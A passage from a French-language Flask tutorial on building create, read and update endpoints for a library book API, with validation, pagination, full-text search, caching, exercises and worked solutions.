                      raise ValueError("Le nombre de pages ne peut pas être négatif")
              except (TypeError, ValueError):
                  raise ValueError("Le nombre de pages doit être un entier")

          prix = data.get('prix', 0.0)
          if prix is not None:
              try:
                  prix = float(prix)
                  if prix < 0:
                      raise ValueError("Le prix ne peut pas être négatif")
              except (TypeError, ValueError):
                  raise ValueError("Le prix doit être un nombre")

          # ── Validation du genre ──
          genres_valides = {
              'science-fiction', 'fantasy', 'dystopie', 'policier',
              'romance', 'historique', 'biographie', 'philosophie',
              'informatique', 'autre'
          }
          genre = str(data.get('genre', 'autre')).lower().strip()
          if genre not in genres_valides:
              genre = 'autre'  # Valeur par défaut si genre invalide

          # ── Validation ISBN ──
          isbn = data.get('isbn')
          if isbn:
              isbn = str(isbn).replace('-', '').replace(' ', '')
              if not isbn.isdigit() or len(isbn) != 13:
                  raise ValueError("L'ISBN doit contenir exactement 13 chiffres")

              # Vérifier l'unicité
              if LivreRepository.isbn_existe(isbn):
                  from app.errors import ConflitError
                  raise ConflitError(f"L'ISBN {isbn} est déjà utilisé par un autre livre")

          # ── Règle métier : doublon titre+auteur ──
          doublon = Livre.query.filter(
              Livre.titre.ilike(titre),
              Livre.auteur.ilike(auteur)
          ).first()
          if doublon:
              from app.errors import ConflitError
              raise ConflitError(
                  f"Un livre avec le titre « {titre} » de {auteur} existe déjà (id={doublon.id})"
              )

          # ── Créer le livre via le Repository ──
          try:
              livre = LivreRepository.creer(
                  titre=titre,
                  auteur=auteur,
                  pages=pages or 0,
                  genre=genre,
                  isbn=isbn,
                  prix=prix or 0.0,
                  description=data.get('description'),
                  disponible=bool(data.get('disponible', True)),
                  categorie_ids=data.get('categorie_ids', [])
              )
              db.session.commit()
              return livre

          except IntegrityError as e:
              db.session.rollback()
              # Violation de contrainte UNIQUE (ISBN ou titre+auteur)
              from app.errors import ConflitError
              raise ConflitError("Conflit de données : contrainte d'unicité violée")

          except Exception as e:
              db.session.rollback()
              raise


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  LA ROUTE (CONTROLLER)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/routes/api/livres.py
  from flask import Blueprint, jsonify, request, url_for
  from app.services.livre_service import LivreService
  from app.repositories.livre_repository import LivreRepository
  from app.errors import ConflitError, NonTrouveError

  api_livres_bp = Blueprint('api_livres', __name__)
  service = LivreService()

  @api_livres_bp.route('/', methods=['POST'])
  def creer_livre():
      """
      POST /api/v1/livres/
      Crée un nouveau livre.

      Body JSON :
        titre   (string, requis)
        auteur  (string, requis)
        pages   (int, optionnel)
        genre   (string, optionnel)
        isbn    (string 13 chiffres, optionnel)
        prix    (float, optionnel)
        disponible (bool, défaut true)
        categorie_ids (list[int], optionnel)

      Réponses :
        201 Created    -> livre créé
        400 Bad Request -> validation échouée
        409 Conflict   -> ISBN ou titre+auteur déjà existant
        500 Server Error -> erreur interne
      """
      # Vérifier que le body est JSON
      if not request.is_json:
          return jsonify({
              'success': False,
              'error': {
                  'code': 400,
                  'message': 'Content-Type doit être application/json'
              }
          }), 400

      data = request.get_json(silent=True)
      if data is None:
          return jsonify({
              'success': False,
              'error': {'code': 400, 'message': 'Body JSON invalide ou vide'}
          }), 400

      try:
          livre = service.creer_livre(data)

          # Réponse 201 avec le livre créé
          reponse = jsonify({
              'success': True,
              'message': f'Livre « {livre.titre} » créé avec succès',
              'data': livre.to_dict()
          })
          reponse.status_code = 201
          # Header Location -> URL du livre créé (bonne pratique REST)
          reponse.headers['Location'] = url_for(
              'api_livres.get_livre',
              livre_id=livre.id,
              _external=True
          )
          return reponse

      except ValueError as e:
          return jsonify({
              'success': False,
              'error': {'code': 400, 'message': str(e)}
          }), 400

      except ConflitError as e:
          return jsonify({
              'success': False,
              'error': {'code': 409, 'message': str(e)}
          }), 409

      except Exception as e:
          from flask import current_app
          current_app.logger.exception(f"Erreur création livre : {e}")
          return jsonify({
              'success': False,
              'error': {'code': 500, 'message': 'Erreur interne du serveur'}
          }), 500


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  CRÉATION EN MASSE (BULK INSERT)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Quand on doit insérer beaucoup d'enregistrements, le bulk insert
est bien plus performant que les insertions une par une.

  from sqlalchemy import insert

  @api_livres_bp.route('/import', methods=['POST'])
  def importer_livres():
      """
      POST /api/v1/livres/import
      Importe plusieurs livres en une seule requête.
      """
      data = request.get_json(silent=True)
      livres_data = data.get('livres', []) if data else []

      if not livres_data:
          return jsonify({'error': 'La liste de livres est vide'}), 400

      if len(livres_data) > 500:
          return jsonify({'error': 'Maximum 500 livres par import'}), 400

      resultats = {'crees': 0, 'erreurs': [], 'livres': []}

      # MÉTHODE 1 : Insertion un par un avec gestion d'erreurs individuelle
      for i, livre_data in enumerate(livres_data):
          try:
              livre = service.creer_livre(livre_data)
              resultats['crees'] += 1
              resultats['livres'].append(livre.to_dict())
          except (ValueError, ConflitError) as e:
              resultats['erreurs'].append({
                  'index': i,
                  'titre': livre_data.get('titre', 'Inconnu'),
                  'erreur': str(e)
              })
          except Exception as e:
              db.session.rollback()
              resultats['erreurs'].append({
                  'index': i,
                  'titre': livre_data.get('titre', 'Inconnu'),
                  'erreur': 'Erreur interne'
              })

      try:
          db.session.commit()
      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur lors de la sauvegarde'}), 500

      status = 201 if resultats['crees'] > 0 else 400
      return jsonify({
          'success': resultats['crees'] > 0,
          'message': f"{resultats['crees']} livre(s) importé(s)",
          'resultats': resultats
      }), status

  # MÉTHODE 2 : SQLAlchemy bulk_insert_mappings (très rapide)
  def bulk_insert_livres(livres_dicts: list):
      """
      Insertion en masse ultra-rapide avec SQLAlchemy.
      Pas de validation Python, va directement en BDD.
      """
      db.session.bulk_insert_mappings(Livre, livres_dicts)
      db.session.commit()

  # MÉTHODE 3 : SQLAlchemy Core (le plus rapide)
  def core_bulk_insert(livres_dicts: list):
      """Insertion via SQLAlchemy Core (bypasse l'ORM)."""
      db.session.execute(
          insert(Livre.__table__),
          livres_dicts  # Liste de dicts {colonne: valeur}
      )
      db.session.commit()


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 21.1 : Implémente la route POST /api/v1/utilisateurs qui crée
    un utilisateur. Valide : email format, password min 8 chars, nom requis.
    Hashage du mot de passe avec bcrypt avant sauvegarde.

  Exercice 21.2 : Crée POST /api/v1/livres/<id>/avis pour poster un avis.
    Valide : note entre 1 et 5, commentaire optionnel.
    Règle : un utilisateur ne peut poster qu'un seul avis par livre.

  Exercice 21.3 : Ajoute l'en-tête Location à toutes les réponses 201.
    Teste avec curl -v pour voir l'en-tête dans la réponse.

NIVEAU INTERMÉDIAIRE :
  Exercice 21.4 : Crée un LivreService.creer_livre_avec_couverture()
    qui gère l'upload de l'image en même temps que la création du livre.
    Rollback si l'upload échoue.

  Exercice 21.5 : Implémente la route POST /api/v1/emprunts qui crée
    un emprunt. Règles métier : vérifier disponibilité du livre,
    vérifier que l'utilisateur n'a pas déjà 3 emprunts en cours.

NIVEAU AVANCÉ :
  Exercice 21.6 : Crée un système d'idempotence pour la création.
    Accepter un header X-Idempotency-Key dans les POST.
    Si la même clé est renvoyée, retourner le résultat précédent
    sans créer un doublon.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 21.1 :

  # app/routes/api/utilisateurs.py
  import bcrypt
  import re
  from flask import Blueprint, jsonify, request
  from app import db
  from app.models import Utilisateur

  api_users_bp = Blueprint('api_users', __name__)

  EMAIL_REGEX = re.compile(r'^[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}$')

  @api_users_bp.route('/', methods=['POST'])
  def creer_utilisateur():
      if not request.is_json:
          return jsonify({'error': 'JSON requis'}), 400

      data = request.get_json(silent=True) or {}

      # Validation
      erreurs = {}
      nom = str(data.get('nom', '')).strip()
      email = str(data.get('email', '')).strip().lower()
      mdp = data.get('mot_de_passe', '')

      if not nom or len(nom) < 2:
          erreurs['nom'] = "Nom requis (min 2 caractères)"
      if not email or not EMAIL_REGEX.match(email):
          erreurs['email'] = "Email invalide"
      if not mdp or len(mdp) < 8:
          erreurs['mot_de_passe'] = "Mot de passe requis (min 8 caractères)"

      if erreurs:
          return jsonify({'success': False, 'error': 'Validation', 'details': erreurs}), 400

      # Vérifier unicité email
      if Utilisateur.query.filter_by(email=email).first():
          return jsonify({'success': False, 'error': 'Email déjà utilisé'}), 409

      # Créer l'utilisateur avec mot de passe hashé
      user = Utilisateur(nom=nom, email=email)
      user.set_password(mdp)

      try:
          db.session.add(user)
          db.session.commit()
          return jsonify({'success': True, 'data': user.to_dict()}), 201
      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500

CORRIGÉ 21.2 :

  @api_livres_bp.route('/<int:livre_id>/avis', methods=['POST'])
  def creer_avis(livre_id):
      livre = db.get_or_404(Livre, livre_id)

      # En production : récupérer depuis le token JWT
      # user_id = get_jwt_identity()
      user_id = request.get_json(silent=True, force=True).get('user_id', 1)

      data = request.get_json(silent=True) or {}

      note = data.get('note')
      if not isinstance(note, int) or not (1 <= note <= 5):
          return jsonify({'error': 'La note doit être entre 1 et 5'}), 400

      # Règle : un seul avis par utilisateur par livre
      avis_existant = Avis.query.filter_by(
          livre_id=livre_id, user_id=user_id
      ).first()
      if avis_existant:
          return jsonify({
              'error': 'Vous avez déjà posté un avis pour ce livre',
              'avis_id': avis_existant.id
          }), 409

      avis = Avis(
          livre_id=livre_id,
          user_id=user_id,
          note=note,
          commentaire=data.get('commentaire', '').strip() or None
      )
      db.session.add(avis)
      db.session.commit()
      return jsonify({'success': True, 'data': avis.to_dict()}), 201

CORRIGÉ 21.5 :

  @api_bp.route('/emprunts', methods=['POST'])
  def creer_emprunt():
      from datetime import datetime, timezone, timedelta

      data = request.get_json(silent=True) or {}
      livre_id = data.get('livre_id')
      user_id = data.get('user_id', 1)  # En prod : depuis JWT

      if not livre_id:
          return jsonify({'error': 'livre_id requis'}), 400

      livre = Livre.query.get(livre_id)
      if not livre:
          return jsonify({'error': f'Livre {livre_id} introuvable'}), 404

      # Règle 1 : Le livre doit être disponible
      if not livre.disponible:
          return jsonify({'error': 'Ce livre n\'est pas disponible'}), 409

      # Règle 2 : Max 3 emprunts en cours par utilisateur
      nb_emprunts = Emprunt.query.filter_by(
          user_id=user_id, statut='en_cours'
      ).count()
      if nb_emprunts >= 3:
          return jsonify({
              'error': 'Vous avez atteint le maximum de 3 emprunts simultanés'
          }), 409

      # Règle 3 : Pas d'emprunt si déjà emprunté ce livre
      deja_emprunte = Emprunt.query.filter_by(
          user_id=user_id, livre_id=livre_id, statut='en_cours'
      ).first()
      if deja_emprunte:
          return jsonify({'error': 'Vous avez déjà emprunté ce livre'}), 409

      try:
          emprunt = Emprunt(
              user_id=user_id,
              livre_id=livre_id,
              date_debut=datetime.now(timezone.utc),
              date_retour_prevue=datetime.now(timezone.utc) + timedelta(days=14),
              statut='en_cours'
          )
          livre.disponible = False
          db.session.add(emprunt)
          db.session.commit()
          return jsonify({'success': True, 'data': emprunt.to_dict()}), 201
      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 22 — READ : LIRE ET OPTIMISER LES REQUÊTES                 ║
║         Filtres, pagination, recherche full-text et performance                   ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  LES PATTERNS DE READ PROFESSIONNELS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

READ SIMPLE (GET par ID) :

  @api_livres_bp.route('/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      """
      GET /api/v1/livres/<id>
      Retourne un livre avec ses relations.

      Query params :
        include : virgule séparée -> 'categories,avis,emprunts'
      """
      livre = LivreRepository.trouver_ou_404(livre_id)

      # Choisir ce qu'on inclut dans la réponse
      include = set(request.args.get('include', '').split(','))

      data = livre.to_dict()

      if 'categories' in include:
          data['categories'] = [c.to_dict() for c in livre.categories]

      if 'avis' in include:
          from sqlalchemy import func
          avis_stats = db.session.query(
              func.avg(Avis.note).label('moyenne'),
              func.count(Avis.id).label('total')
          ).filter_by(livre_id=livre_id).first()

          data['avis_stats'] = {
              'note_moyenne': round(float(avis_stats.moyenne), 2)
                              if avis_stats.moyenne else None,
              'nb_avis': avis_stats.total
          }
          data['derniers_avis'] = [
              a.to_dict() for a in
              livre.avis.order_by(Avis.created_at.desc()).limit(5).all()
          ]

      return jsonify({'success': True, 'data': data})

READ LISTE AVEC FILTRES ET PAGINATION :

  @api_livres_bp.route('/', methods=['GET'])
  def get_livres():
      """
      GET /api/v1/livres/
      Liste les livres avec filtres, tri et pagination.

      Query params :
        q           : Recherche textuelle (titre, auteur, description)
        genre       : Filtrer par genre
        disponible  : true/false
        pages_min   : Pages minimum
        pages_max   : Pages maximum
        categorie_id : Filtrer par catégorie
        sort        : Champ de tri (titre, auteur, pages, prix, created_at)
        order       : asc ou desc
        page        : Numéro de page (défaut: 1)
        per_page    : Éléments par page (défaut: 10, max: 100)
      """
      # Extraire et valider les paramètres
      params = {
          'q':           request.args.get('q'),
          'genre':       request.args.get('genre'),
          'disponible':  _parse_bool(request.args.get('disponible')),
          'pages_min':   request.args.get('pages_min', type=int),
          'pages_max':   request.args.get('pages_max', type=int),
          'categorie_id': request.args.get('categorie_id', type=int),
          'sort':        request.args.get('sort', 'titre'),
          'order':       request.args.get('order', 'asc'),
          'page':        max(1, request.args.get('page', 1, type=int)),
          'per_page':    min(100, max(1, request.args.get('per_page', 10, type=int)))
      }

      pagination = LivreRepository.lister(**params)

      return jsonify({
          'success': True,
          'data': [l.to_dict() for l in pagination.items],
          'meta': {
              'total': pagination.total,
              'page': params['page'],
              'per_page': params['per_page'],
              'pages': pagination.pages,
              'has_next': pagination.has_next,
              'has_prev': pagination.has_prev,
              'next_page': pagination.next_num,
              'prev_page': pagination.prev_num,
              'filtres': {k: v for k, v in params.items()
                          if k not in ('page', 'per_page', 'sort', 'order')
                          and v is not None}
          }
      })

  def _parse_bool(valeur: str) -> bool | None:
      """Parse un string en booléen, ou None si absent."""
      if valeur is None:
          return None
      return valeur.lower() in ('true', '1', 'yes', 'oui')


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  RECHERCHE FULL-TEXT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

La recherche full-text permet de trouver des documents par contenu.

APPROCHE SIMPLE AVEC LIKE (SQLite) :

  @api_livres_bp.route('/recherche', methods=['GET'])
  def recherche():
      """GET /api/v1/livres/recherche?q=dune&champs=titre,auteur"""
      query = request.args.get('q', '').strip()

      if len(query) < 2:
          return jsonify({
              'error': 'La recherche doit contenir au moins 2 caractères'
          }), 400

      # Diviser la requête en mots-clés pour une recherche plus précise
      mots = query.split()

      # Construire les filtres : chaque mot doit apparaître dans AU MOINS UN champ
      conditions = []
      for mot in mots:
          terme = f'%{mot}%'
          conditions.append(
              or_(
                  Livre.titre.ilike(terme),
                  Livre.auteur.ilike(terme),
                  Livre.description.ilike(terme),
                  Livre.isbn.ilike(terme)
              )
          )

      # Tous les mots doivent matcher (AND entre les mots)
      livres = Livre.query.filter(and_(*conditions)).order_by(Livre.titre).limit(20).all()

      return jsonify({
          'success': True,
          'query': query,
          'mots': mots,
          'total': len(livres),
          'data': [l.to_dict() for l in livres]
      })

RECHERCHE AVEC SCORE DE PERTINENCE (SQLite FTS) :

  # SQLite a un moteur Full-Text Search (FTS5)
  # Pour l'activer, créer une table virtuelle dans une migration

  # Dans une migration Alembic :
  def upgrade():
      op.execute("""
          CREATE VIRTUAL TABLE livres_fts USING fts5(
              titre, auteur, description,
              content=livres,
              content_rowid=id
          )
      """)
      # Peupler la table FTS
      op.execute("""
          INSERT INTO livres_fts(rowid, titre, auteur, description)
          SELECT id, titre, auteur, COALESCE(description, '')
          FROM livres
      """)
      # Trigger pour maintenir le FTS à jour
      op.execute("""
          CREATE TRIGGER livres_ai AFTER INSERT ON livres BEGIN
              INSERT INTO livres_fts(rowid, titre, auteur, description)
              VALUES (new.id, new.titre, new.auteur, COALESCE(new.description, ''));
          END
      """)

  # Requête FTS (via SQLAlchemy Core) :
  def recherche_fts(terme: str, limit: int = 20):
      """Recherche full-text avec SQLite FTS5."""
      from sqlalchemy import text
      result = db.session.execute(
          text("""
              SELECT l.*, bm25(livres_fts) as score
              FROM livres l
              JOIN livres_fts ON livres_fts.rowid = l.id
              WHERE livres_fts MATCH :terme
              ORDER BY score
              LIMIT :limit
          """),
          {'terme': terme, 'limit': limit}
      )
      return result.fetchall()


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  PAGINATION AVANCÉE ET CURSEUR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

PAGINATION PAR OFFSET (classique) :
  Avantages : simple, permet de sauter à n'importe quelle page
  Inconvénients : lent sur les grandes tables (OFFSET 10000 -> scan complet)

PAGINATION PAR CURSEUR (plus performante) :
  Avantages : O(1) quelle que soit la position, stable si nouvelles entrées
  Inconvénients : ne permet pas de sauter de pages

  # Pagination par curseur (cursor-based pagination)
  @api_livres_bp.route('/feed', methods=['GET'])
  def get_livres_feed():
      """
      GET /api/v1/livres/feed?cursor=<token>&limit=10

      Pagination par curseur : utilise l'ID du dernier élément vu.
      Plus performante que l'offset pour les grandes collections.
      """
      limit = min(50, request.args.get('limit', 10, type=int))
      cursor = request.args.get('cursor')  # ID du dernier livre vu

      query = Livre.query.order_by(Livre.id.asc())

      if cursor:
          # Décoder le curseur (ici c'est simplement l'ID)
          try:
              cursor_id = int(cursor)
              query = query.filter(Livre.id > cursor_id)
          except ValueError:
              return jsonify({'error': 'Curseur invalide'}), 400

      livres = query.limit(limit + 1).all()  # +1 pour savoir s'il y a une suite

      has_more = len(livres) > limit
      livres = livres[:limit]  # Retirer l'élément de test

      # Encoder le prochain curseur
      next_cursor = str(livres[-1].id) if has_more and livres else None

      return jsonify({
          'success': True,
          'data': [l.to_dict() for l in livres],
          'pagination': {
              'limit': limit,
              'has_more': has_more,
              'next_cursor': next_cursor,
              'count': len(livres)
          }
      })


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  MISE EN CACHE DES RÉPONSES READ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le caching évite de requêter la BDD pour des données qui ne changent
pas souvent (listes de livres, statistiques, etc.).

  pip install flask-caching

  # app/__init__.py
  from flask_caching import Cache
  cache = Cache()

  def create_app(config_name='development'):
      app = Flask(__name__)
      # ...
      cache.init_app(app, config={
          'CACHE_TYPE': 'SimpleCache',       # Mémoire locale (dev)
          # 'CACHE_TYPE': 'RedisCache',      # Redis (production)
          # 'CACHE_REDIS_URL': 'redis://...',
          'CACHE_DEFAULT_TIMEOUT': 300       # 5 minutes par défaut
      })
      return app

UTILISATION DU CACHE :

  from app import cache

  @api_livres_bp.route('/statistiques', methods=['GET'])
  @cache.cached(timeout=600, key_prefix='livres_stats')
  def get_statistiques():
      """
      Mise en cache 10 minutes : les stats ne changent pas souvent.
      Le décorateur @cache.cached mémorise le résultat de la fonction.
      """
      stats = LivreRepository.statistiques()
      return jsonify({'success': True, 'data': stats})

  @api_livres_bp.route('/', methods=['GET'])
  def get_livres():
      """Liste avec cache basé sur les paramètres de requête."""

      # Cache key basée sur TOUS les paramètres
      cache_key = f"livres_{request.query_string.decode()}"
      cached = cache.get(cache_key)
      if cached:
          return cached   # Retourner directement depuis le cache

      # ... requête normale ...
      response = jsonify({...})
      cache.set(cache_key, response, timeout=60)  # Cache 1 minute
      return response

  # Invalider le cache après une modification
  @api_livres_bp.route('/', methods=['POST'])
  def creer_livre():
      # ... créer le livre ...
      cache.delete('livres_stats')      # Invalider les stats
      cache.delete_many('livres_*')     # Invalider toutes les listes
      return jsonify({...}), 201

  # Cache conditionnel
  @api_livres_bp.route('/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      cache_key = f'livre_{livre_id}'
      resultat = cache.get(cache_key)

      if not resultat:
          livre = LivreRepository.trouver_ou_404(livre_id)
          resultat = livre.to_dict()
          cache.set(cache_key, resultat, timeout=300)

      return jsonify({'success': True, 'data': resultat})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 22.1 : Implémente GET /api/v1/livres/disponibles qui retourne
    uniquement les livres disponibles, triés par titre, paginés.

  Exercice 22.2 : Crée GET /api/v1/categories/<id>/livres qui retourne
    tous les livres d'une catégorie avec leur note moyenne.

  Exercice 22.3 : Ajoute un endpoint GET /api/v1/livres/aleatoire qui
    retourne N livres aléatoires (query param n=5).

NIVEAU INTERMÉDIAIRE :
  Exercice 22.4 : Implémenter GET /api/v1/utilisateurs/<id>/historique
    qui retourne les derniers emprunts d'un utilisateur avec les
    informations du livre associé.

  Exercice 22.5 : Crée un endpoint GET /api/v1/livres/similaires/<id>
    qui retourne les livres du même genre, triés par note décroissante.

NIVEAU AVANCÉ :
  Exercice 22.6 : Implémente la pagination par curseur pour le feed
    des nouveautés. Le curseur doit encoder le created_at (pas l'ID)
    pour garantir la stabilité face aux suppressions.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 22.3 — Livres aléatoires :

  from sqlalchemy import func

  @api_livres_bp.route('/aleatoire', methods=['GET'])
  def livres_aleatoires():
      n = min(20, max(1, request.args.get('n', 5, type=int)))
      genre = request.args.get('genre')

      query = Livre.query.filter_by(disponible=True)
      if genre:
          query = query.filter(Livre.genre == genre)

      # RAND() en SQLite = func.random() en SQLAlchemy
      livres = query.order_by(func.random()).limit(n).all()

      return jsonify({
          'success': True,
          'data': [l.to_dict() for l in livres],
          'total': len(livres)
      })

CORRIGÉ 22.4 — Historique utilisateur :

  @api_users_bp.route('/<int:user_id>/historique', methods=['GET'])
  def historique_utilisateur(user_id):
      user = db.get_or_404(Utilisateur, user_id)
      page = request.args.get('page', 1, type=int)

      # Requête avec jointure pour éviter N+1
      from sqlalchemy.orm import joinedload
      pagination = Emprunt.query.filter_by(user_id=user_id)\
          .options(joinedload(Emprunt.livre))\
          .order_by(Emprunt.created_at.desc())\
          .paginate(page=page, per_page=10, error_out=False)

      historique = []
      for emprunt in pagination.items:
          item = emprunt.to_dict()
          item['livre'] = {
              'id': emprunt.livre.id,
              'titre': emprunt.livre.titre,
              'auteur': emprunt.livre.auteur,
              'genre': emprunt.livre.genre
          }
          historique.append(item)

      return jsonify({
          'success': True,
          'utilisateur': {'id': user.id, 'nom': user.nom},
          'data': historique,
          'meta': {
              'total': pagination.total,
              'page': page,
              'pages': pagination.pages
          }
      })


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 23 — UPDATE : MODIFIER DES DONNÉES                          ║
║         PUT vs PATCH, validation partielle, gestion des conflits                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  PUT VS PATCH — RAPPEL ET IMPLÉMENTATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  PUT    -> Remplace COMPLÈTEMENT la ressource
           Si un champ est absent -> devient NULL (ou valeur par défaut)

  PATCH  -> Modifie PARTIELLEMENT
           Seuls les champs présents dans le body sont modifiés

IMPLÉMENTATION PUT (remplacement complet) :

  @api_livres_bp.route('/<int:livre_id>', methods=['PUT'])
  def remplacer_livre(livre_id):
      """
      PUT /api/v1/livres/<id>
      Remplace complètement un livre.
      TOUS les champs requis doivent être fournis.
      """
      livre = LivreRepository.trouver_ou_404(livre_id)
      data = request.get_json(silent=True)

      if not data:
          return jsonify({'error': 'JSON requis'}), 400

      # TOUS les champs sont requis pour PUT
      champs_requis = ['titre', 'auteur']
      manquants = [c for c in champs_requis if not data.get(c)]
      if manquants:
          return jsonify({
              'error': 'Champs requis manquants pour PUT',
              'details': {c: 'Requis' for c in manquants}
          }), 400

      # Vérifier ISBN unique (si changé)
      nouveau_isbn = data.get('isbn')
      if nouveau_isbn and LivreRepository.isbn_existe(nouveau_isbn, exclure_id=livre_id):
          return jsonify({'error': f"ISBN {nouveau_isbn} déjà utilisé"}), 409

      # Remplacer TOUS les champs (PUT = remplacement complet)
      livre.titre = data['titre'].strip()
      livre.auteur = data['auteur'].strip()
      livre.isbn = data.get('isbn')             # None si absent (effacé)
      livre.pages = data.get('pages', 0)        # Valeur par défaut si absent
      livre.genre = data.get('genre', 'autre')
      livre.description = data.get('description')
      livre.prix = data.get('prix', 0.0)
      livre.disponible = data.get('disponible', True)

      try:
          db.session.commit()
          return jsonify({'success': True, 'data': livre.to_dict()})
      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500

IMPLÉMENTATION PATCH (modification partielle) :

  @api_livres_bp.route('/<int:livre_id>', methods=['PATCH'])
  def modifier_livre(livre_id):
      """
      PATCH /api/v1/livres/<id>
      Modifie partiellement un livre.
      Seuls les champs présents dans le body sont modifiés.

      Exemples :
        {"disponible": false}                   -> marquer comme emprunté
        {"prix": 9.99, "genre": "fantasy"}      -> changer prix et genre
        {"description": "Nouveau résumé"}       -> changer la description
      """
      livre = LivreRepository.trouver_ou_404(livre_id)
      data = request.get_json(silent=True)

      if not data:
          return jsonify({'error': 'JSON requis'}), 400

      if len(data) == 0:
          return jsonify({'error': 'Body vide — au moins un champ requis'}), 400

      # Champs modifiables et leurs validations
      champs_modifiables = {
          'titre', 'auteur', 'isbn', 'pages', 'genre',
          'description', 'prix', 'disponible'
      }

      erreurs = {}
      champs_a_modifier = {}

      for champ, valeur in data.items():
          if champ not in champs_modifiables:
              # Ignorer les champs inconnus (ou retourner erreur)
              continue

          # Validation par champ
          if champ == 'titre':
              if not valeur or not str(valeur).strip():
                  erreurs['titre'] = 'Le titre ne peut pas être vide'
              elif len(str(valeur)) > 200:
                  erreurs['titre'] = 'Maximum 200 caractères'
              else:
                  champs_a_modifier['titre'] = str(valeur).strip()

          elif champ == 'auteur':
              if not valeur or not str(valeur).strip():
                  erreurs['auteur'] = "L'auteur ne peut pas être vide"
              else:
                  champs_a_modifier['auteur'] = str(valeur).strip()

          elif champ == 'pages':
              try:
                  pages = int(valeur)
                  if pages < 0:
                      erreurs['pages'] = 'Doit être positif ou nul'
                  else:
                      champs_a_modifier['pages'] = pages
              except (TypeError, ValueError):
                  erreurs['pages'] = 'Entier requis'

          elif champ == 'prix':
              try:
                  prix = float(valeur)
                  if prix < 0:
                      erreurs['prix'] = 'Doit être positif ou nul'
                  else:
                      champs_a_modifier['prix'] = prix
              except (TypeError, ValueError):
                  erreurs['prix'] = 'Nombre requis'

          elif champ == 'disponible':
              if not isinstance(valeur, bool):
                  erreurs['disponible'] = 'Booléen requis (true/false)'
              else:
                  champs_a_modifier['disponible'] = valeur

          elif champ == 'isbn':
              if valeur is None:
                  champs_a_modifier['isbn'] = None  # Effacer l'ISBN
              else:
                  isbn = str(valeur).replace('-', '').replace(' ', '')
                  if not isbn.isdigit() or len(isbn) != 13:
                      erreurs['isbn'] = 'ISBN doit avoir 13 chiffres'
                  elif LivreRepository.isbn_existe(isbn, exclure_id=livre_id):
                      erreurs['isbn'] = f'ISBN {isbn} déjà utilisé'
                  else:
                      champs_a_modifier['isbn'] = isbn

          elif champ == 'genre':
              genres_valides = {
                  'science-fiction', 'fantasy', 'dystopie', 'policier',
                  'romance', 'historique', 'biographie', 'philosophie',
                  'informatique', 'autre'
              }
              genre = str(valeur).lower().strip()
              if genre not in genres_valides:
                  erreurs['genre'] = f'Genre invalide. Valeurs : {list(genres_valides)}'
              else:
                  champs_a_modifier['genre'] = genre

          elif champ == 'description':
              champs_a_modifier['description'] = str(valeur).strip() if valeur else None

      if erreurs:
          return jsonify({
              'success': False,
              'error': 'Validation échouée',
              'details': erreurs
          }), 400

      if not champs_a_modifier:
          return jsonify({'error': 'Aucun champ valide à modifier'}), 400

      # Appliquer les modifications
      try:
          LivreRepository.modifier(livre, **champs_a_modifier)
          db.session.commit()

          return jsonify({
              'success': True,
              'message': f'{len(champs_a_modifier)} champ(s) modifié(s)',
              'modifie': list(champs_a_modifier.keys()),
              'data': livre.to_dict()
          })
      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  GESTION DES CONFLITS DE CONCURRENCE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Quand deux utilisateurs modifient le même enregistrement simultanément,
on peut avoir des conflits. L'optimistic locking les résout.

OPTIMISTIC LOCKING avec version :

  class Livre(db.Model):
      # ...
      version = db.Column(db.Integer, default=1, nullable=False)
      # Chaque modification incrémente la version

  @api_livres_bp.route('/<int:livre_id>', methods=['PATCH'])
